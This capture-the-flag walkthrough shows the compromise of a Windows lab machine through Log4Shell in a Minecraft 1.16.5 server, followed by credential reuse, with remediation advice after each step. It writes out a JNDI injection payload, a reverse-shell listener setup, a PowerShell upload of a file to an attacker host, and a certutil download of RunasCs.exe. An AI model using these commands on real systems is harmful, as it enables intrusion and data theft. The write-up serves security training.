← all walkthroughs

Crafty

Windows· Easy
owned
2026-07-07
time to own
34m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found two services on the target: a static Microsoft IIS 10.0 website on port 80 and a Minecraft 1.16.5 game server on port 25565. Minecraft 1.16.5 ships with a Log4j library version vulnerable to Log4Shell (CVE-2021-44228), which allows unauthenticated remote code execution by injecting a JNDI lookup string into any field the server logs — including the player username.

A crafted login packet caused the server to fetch and execute a malicious Java class from my own LDAP-and-HTTP chain, delivering a reverse shell as the low-privileged service account crafty\svc_minecraft. Post-compromise enumeration of the server plugins directory surfaced a custom JAR whose decompiled source hardcoded the RCON password in plaintext.

That same password doubled as the local Administrator account's Windows logon credential. RunasCs.exe was used to execute commands under the Administrator identity, completing full system takeover.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceService version fingerprinting (T1046)
Identified a Minecraft 1.16.5 server — a version known to carry the Log4Shell vulnerability
A port scan of $TARGET revealed IIS 10.0 serving a static site on port 80 (vhost crafty.htb) and a Minecraft game server on port 25565. A raw Minecraft Status handshake returned version 1.16.5 / protocol 754. Minecraft 1.16.5 bundles Log4j 2.x in a range affected by CVE-2021-44228, making the game server the primary unauthenticated attack surface. The IIS site was a static marketing page with no interactive attack surface.
Recon_sweep / nmap returned: 25565/tcp minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100); 80/tcp http Microsoft IIS httpd 10.0.
Exact commands 3
Service scan to confirm IIS version and Minecraft protocol version.
nmap -sV -sC -p 80,25565 $TARGET -oN crafty_nmap.txt
Add the discovered vhost to local resolution.
echo "$TARGET crafty.htb" | sudo tee -a /etc/hosts
Confirm the web site is static with no interactive functionality worth pursuing.
curl -s -i -H 'Host: crafty.htb' http://$TARGET/
2WeaponizationLog4Shell JNDI deserialization RCE staging (CVE-2021-44228 / T1190)
Assembled the Log4Shell exploit chain — LDAP redirect server, malicious Java class, and reverse-shell listener
Log4Shell (CVE-2021-44228) works by injecting a JNDI:LDAP lookup string into any text field the server logs through Log4j. The target JVM contacts my LDAP server, which redirects it to fetch a Java class from an HTTP server; the JVM instantiates the class, executing its static initializer. Three components were required: a compiled Exploit.class whose static initializer ran a base64-encoded PowerShell TCP reverse-shell stager; a marshalsec LDAPRefServer to redirect JNDI lookups to the HTTP file server; and an Ncat listener to catch the incoming shell.
Exact commands 4
Clone PoC that includes a pre-built marshalsec-all.jar.
mkdir -p /tmp/crafty-log4j && git clone --depth 1 https://github.com/kozmer/log4j-shell-poc /tmp/log4j-shell-poc
HTTP file server to deliver Exploit.class to the target JVM.
cd /tmp/crafty-log4j && python3 -m http.server 8000 &
LDAP redirect server on port 1389 — points JNDI lookups at the class server.
java -cp /tmp/log4j-shell-poc/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit" &
Ncat listener to catch the reverse shell from the target.
nc -lvnp 4445
3ExploitationLog4Shell unauthenticated JNDI injection RCE (CVE-2021-44228 / T1190)
Triggered Log4Shell via a crafted Minecraft login packet and received a reverse shell
The Minecraft server logs the username from every LOGIN_START handshake packet through Log4j. Connecting with a username of ${jndi:ldap://$ATTACKER_IP:1389/Exploit} caused the server-side Log4j to contact my LDAP server, which redirected it to fetch Exploit.class over HTTP. The Minecraft server's JVM instantiated the class, executing the embedded PowerShell stager that connected back to the Ncat listener on port 4445 and delivered an interactive reverse shell as crafty\svc_minecraft.
Ncat received a connection from $TARGET; shell identity confirmed: crafty\svc_minecraft, cwd C:\users\svc_minecraft\server (validated by all advisors).
Exact commands 1
Custom script sending a Minecraft LOGIN_START packet with username '${jndi:ldap://$ATTACKER_IP:1389/Exploit}' to $TARGET:25565.
python3 send_mc_chat.py
FixUpgrade the Minecraft server to a version that is not affected by Log4Shell (CVE-2021-44228)Critical
WeaknessThe Minecraft server was running version 1.16.5, which bundles a Log4j 2.x library vulnerable to CVE-2021-44228 (Log4Shell). Log4j parsed JNDI lookup expressions embedded in any logged string — including the player username — allowing an unauthorised user to trigger arbitrary remote code execution simply by connecting to the game port with a crafted username. No account, password, or prior access was required.
FixUpgrade the Minecraft server to version 1.18.1 or later (Mojang shipped the Log4Shell fix in that release). If an immediate upgrade is not possible, add the JVM startup flag -Dlog4j2.formatMsgNoLookups=true to the server launch script and apply Mojang's official log4j2.xml patch to disable JNDI lookups. Also upgrade the Log4j JAR in the server classpath to 2.17.1 or later independently. After patching, restrict inbound access to port 25565 to known player IP ranges at the firewall wherever feasible.
4FootholdCommand and Scripting Interpreter: Windows Command Shell (T1059.003)
Confirmed low-privilege shell and captured the user flag
The reverse shell landed in C:\users\svc_minecraft\server as the service account crafty\svc_minecraft. The user flag was located on that account's Desktop and readable without any further privilege — it was accessible to the account the Minecraft server process ran as.
Cmd /c type C:\Users\svc_minecraft\Desktop\user.txt returned the flag — kill-chain phase 'user-owned' confirmed.
Exact commands 2
Confirm identity — expected: crafty\svc_minecraft.
whoami
Read the user flag — returns <user.txt>.
cmd /c type C:\Users\svc_minecraft\Desktop\user.txt
5Post-ExploitationData Exfiltration over unencrypted HTTP (T1041)
Exfiltrated the Minecraft server plugin JAR for offline decompilation
Listing the server's plugins directory revealed a custom JAR: playercounter-1.0-SNAPSHOT.jar. Decompilation tools were not available on the target, so the file was transferred to my machine by POSTing it to a minimal Python HTTP upload receiver. This is a reliable exfiltration method for Windows targets that lack direct SMB or PowerShell Remoting access to me.
C:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar confirmed present; local upload.py received the file.
Exact commands 2
Minimal HTTP server on port 8081 that writes the POST body to disk as playercounter.jar.
python3 upload.py &
Run inside the reverse shell — uploads the plugin JAR to my machine.
powershell -NoProfile -Command "Invoke-WebRequest -Uri http://$ATTACKER_IP:8081/ -Method POST -InFile C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -UseBasicParsing"
6Credential AccessCredentials in Files — hardcoded plaintext secret (T1552.001)
Decompiled the plugin JAR and extracted a hardcoded RCON password in plaintext
The playercounter plugin was decompiled with javap, which showed that the Playercounter class passed a hardcoded string literal directly to the RCON client library constructor as the password. No encryption, configuration file, or environment variable was involved. Any user who could reach the plugins directory — or receive the JAR over the network, as done here — could recover the credential with a single standard Java command.
Javap decompilation showed net.kronos.rkon.core Rcon constructor invoked with the hardcoded string '[REDACTED: recovered credential]'.
Exact commands 2
Extract the JAR contents for decompilation.
mkdir -p /tmp/crafty-log4j/pc && cd /tmp/crafty-log4j/pc && unzip -q /tmp/crafty-log4j/playercounter.jar
Decompile and search for the credential — returns the hardcoded string [REDACTED: recovered credential].
javap -classpath . -c -p -verbose htb/crafty/playercounter/Playercounter.class 2>&1 | grep -A5 -i 'rcon\|password\|s67'
FixRemove hardcoded credentials from plugin source code and store secrets in configuration filesHigh
WeaknessThe playercounter Minecraft plugin compiled the RCON password directly into the Java class as a plaintext string literal. Any user who could read or receive the JAR file — which was stored in a directory accessible to the compromised service account — could recover the password instantly using free, standard decompilation tools such as javap.
FixMove all passwords, API keys, and service credentials out of source code and compiled artifacts into a configuration file (for example, plugins/playercounter/config.yml) that is readable only by the service account running the Minecraft process. Load the credential at runtime using the plugin's configuration API. Scan all existing plugins and the broader codebase with a secrets-detection tool such as truffleHog or gitleaks before the next deployment to identify any other embedded credentials.
7Privilege EscalationValid Accounts — Local Accounts / credential reuse (T1078.003)
Reused the RCON plugin password as the local Administrator password and achieved full system control
The password extracted from the plugin — [REDACTED: recovered credential] — was identical to the local Administrator account's Windows logon password. Because the reverse shell lacked an interactive logon token, standard runas was unavailable. RunasCs.exe, a tool that spawns processes under alternate Windows credentials in non-interactive contexts, was downloaded via certutil and used to execute commands as Administrator. This confirmed crafty\administrator and allowed reading the root flag, completing full system compromise.
Cmd /c "C:\Windows\Temp\RunasCs.exe Administrator [REDACTED: recovered credential] ""cmd /c whoami && type C:\Users\Administrator\Desktop\root.txt""" returned crafty\administrator and the root flag.
Exact commands 3
Download RunasCs.exe from my HTTP server to a world-writable temp directory.
cmd /c "certutil -urlcache -f http://$ATTACKER_IP:9000/RunasCs.exe C:\Windows\Temp\RunasCs.exe"
Verify the credential works — expected output: crafty\administrator.
cmd /c "C:\Windows\Temp\RunasCs.exe Administrator [REDACTED: recovered credential] \"cmd /c whoami\""
Read the root flag as Administrator — returns <root.txt>.
cmd /c "C:\Windows\Temp\RunasCs.exe Administrator [REDACTED: recovered credential] \"cmd /c type C:\Users\Administrator\Desktop\root.txt\""
FixUse a unique, randomly generated password for every account — never reuse a service credential as a Windows logon passwordCritical
WeaknessThe password stored in the Minecraft plugin ([REDACTED: recovered credential]) was identical to the local Administrator account's Windows password. Once the RCON credential was recovered from the plugin, no further exploitation was needed: an unauthorised user immediately obtained full administrative access to the server.
FixAssign a long, randomly generated password (minimum 20 characters) to the local Administrator account and store it in a privileged access management (PAM) vault or password manager — never reuse it for any service. Generate a separate, equally strong password for every service credential (RCON, database connections, API tokens). Consider disabling the built-in Administrator account and instead using a named privileged account with just-in-time access controlled through Windows LAPS or a PAM solution. Audit all other local accounts and service accounts for password reuse.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Exposed services

80/tcp
25565/tcp